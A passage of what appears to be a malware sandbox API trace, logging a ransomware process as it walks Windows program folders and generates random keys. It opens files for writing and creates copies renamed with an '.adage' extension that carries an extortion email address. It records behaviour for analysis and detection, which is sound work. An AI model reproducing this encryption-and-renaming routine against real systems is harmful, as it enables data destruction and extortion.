hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.738] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2820) returned 1 [0060.738] CloseHandle (hObject=0x180) returned 1 [0060.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png")) returned 0x20 [0060.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.739] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.739] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=19846) returned 1 [0060.739] CloseHandle (hObject=0x180) returned 1 [0060.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png")) returned 0x20 [0060.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.739] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.740] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4570) returned 1 [0060.740] CloseHandle (hObject=0x180) returned 1 [0060.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png")) returned 0x20 [0060.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.741] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.741] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2821) returned 1 [0060.741] CloseHandle (hObject=0x180) returned 1 [0060.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png")) returned 0x20 [0060.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.745] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.746] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5088) returned 1 [0060.746] CloseHandle (hObject=0x180) returned 1 [0060.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png")) returned 0x20 [0060.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.746] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.746] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3130) returned 1 [0060.746] CloseHandle (hObject=0x180) returned 1 [0060.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png")) returned 0x20 [0060.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.747] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.747] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5025) returned 1 [0060.747] CloseHandle (hObject=0x180) returned 1 [0060.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png")) returned 0x20 [0060.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.748] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.748] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3118) returned 1 [0060.748] CloseHandle (hObject=0x180) returned 1 [0060.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png")) returned 0x20 [0060.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.748] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.748] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4955) returned 1 [0060.748] CloseHandle (hObject=0x180) returned 1 [0060.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png")) returned 0x20 [0060.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.749] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.749] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3081) returned 1 [0060.749] CloseHandle (hObject=0x180) returned 1 [0060.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png")) returned 0x20 [0060.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.750] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.750] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=27691) returned 1 [0060.750] CloseHandle (hObject=0x180) returned 1 [0060.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png")) returned 0x20 [0060.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.750] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.751] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=56543) returned 1 [0060.751] CloseHandle (hObject=0x180) returned 1 [0060.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png")) returned 0x20 [0060.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.751] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.751] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=7261) returned 1 [0060.751] CloseHandle (hObject=0x180) returned 1 [0060.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png")) returned 0x20 [0060.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.752] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.752] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=23722) returned 1 [0060.752] CloseHandle (hObject=0x180) returned 1 [0060.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png")) returned 0x20 [0060.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.753] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.753] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=14239) returned 1 [0060.753] CloseHandle (hObject=0x180) returned 1 [0060.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml")) returned 0x20 [0060.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.753] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_171\\bin\\server\\xusage.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.761] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1423) returned 1 [0060.761] CloseHandle (hObject=0x180) returned 1 [0060.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_171\\bin\\server\\xusage.txt")) returned 0x20 [0060.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\bin\\server\\Xusage.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\bin\\server\\xusage.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_171\\bin\\server\\xusage.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.761] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0060.761] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0060.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\bin\\server\\Xusage.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" 